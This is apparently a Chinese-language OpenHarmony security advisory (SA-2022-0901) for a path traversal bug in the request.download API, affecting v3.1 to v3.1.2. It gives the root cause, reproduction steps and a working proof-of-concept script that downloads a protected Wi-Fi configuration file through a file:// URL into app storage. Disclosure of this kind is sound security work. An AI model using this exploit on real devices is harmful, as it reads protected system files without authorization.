|  |
| --- |
| OpenHarmony-SA-2022-0901  1、漏洞分析  *根因分析*  *未过滤非法url参数导致路径穿越漏洞*  *复现步骤*  *1.才任意应用中加入poc代码，编译执行*  *2.hdc\_std shell 命令进入shell模式*  *3.执行find / -name file\_name，可以看到下载的本地文件*  2、受影响版本  OpenHarmony-v3.1-Release到OpenHarmony-v3.1.2-Release  3、漏洞触发用例  poc.ets  import request from "@ohos.request"  downloadFile(urlPath, out) {      let downloadConfig = {          url: urlPath, //敏感文件地址          filePath: '/data/storage/el2/base/'+out //保存地址      }      let downloadTask;        // Obtain the DownloadTask instance using a callback.      request.download(downloadConfig).then((data) => {          downloadTask = data;          downloadTask.on('fail', (error) => {              console.info("download fail error:" + JSON.stringify(error));          });      }).catch((err) => {          console.error('Failed to request the download. Cause: ' + JSON.stringify(err));      })  }  downloadFile('file:///data/misc/wifi/trust\_list\_polices.conf', 'trust\_list\_config.conf')  4、验证效果  *提供执行效果截图*  合入补丁前版本  13214  合入补丁后版本  1314 |
|  |